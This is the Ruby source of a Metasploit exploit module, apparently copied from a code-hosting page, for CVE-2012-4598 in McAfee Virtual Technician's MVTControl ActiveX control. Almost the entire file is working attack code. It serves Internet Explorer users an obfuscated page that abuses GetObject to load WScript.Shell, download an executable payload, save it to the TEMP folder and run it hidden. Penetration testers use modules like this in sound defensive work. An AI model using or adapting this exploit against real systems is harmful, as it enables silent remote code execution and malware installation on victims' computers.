122 lines
3.2 KiB
Ruby
122 lines
3.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
|
|
'Description' => %q{
|
|
This modules exploits a vulnerability found in McAfee Virtual Technician's
|
|
MVTControl. This ActiveX control can be abused by using the GetObject() function
|
|
to load additional unsafe classes such as WScript.Shell, therefore allowing remote
|
|
code execution under the context of the user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'rgod', #Initial discovery, Poc
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-4598' ],
|
|
[ 'OSVDB', '81657'],
|
|
[ 'EDB', '18805' ],
|
|
[ 'URL', 'https://kc.mcafee.com/corporate/index?page=content&id=SB10028' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "none",
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Apr 30 2012",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def exploit
|
|
@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
|
|
super
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
|
|
if agent !~ /MSIE \d/
|
|
print_error("Browser not supported: #{agent.to_s}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
if request.uri =~ /\.exe$/
|
|
return if ((p=regenerate_payload(cli))==nil)
|
|
data = generate_payload_exe({:code=>p.encoded})
|
|
print_status("Sending payload")
|
|
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
|
|
return
|
|
end
|
|
|
|
# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
|
|
js = <<-JS
|
|
var obj = new ActiveXObject("MVT.MVTControl.6300");
|
|
|
|
var ws = obj.GetObject("WScript.Shell");
|
|
var ado = obj.GetObject("ADODB.Stream");
|
|
var e = ws.Environment("Process");
|
|
var url = document.location + "/#{@payload_name}";
|
|
var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";
|
|
|
|
var xml = new ActiveXObject("Microsoft.XMLHTTP");
|
|
xml.open("GET", url, false);
|
|
xml.send(null);
|
|
res = xml.responseBody;
|
|
|
|
ado.Type = 1;
|
|
ado.Mode = 3;
|
|
ado.Open();
|
|
ado.Write(res);
|
|
ado.SaveToFile(tmp);
|
|
ws.Run(tmp, 0);
|
|
JS
|
|
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
js.obfuscate
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<head>
|
|
</head>
|
|
<body>
|
|
<script defer=defer>
|
|
#{js}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
print_status("Sending html")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
end
|
|
|
|
end |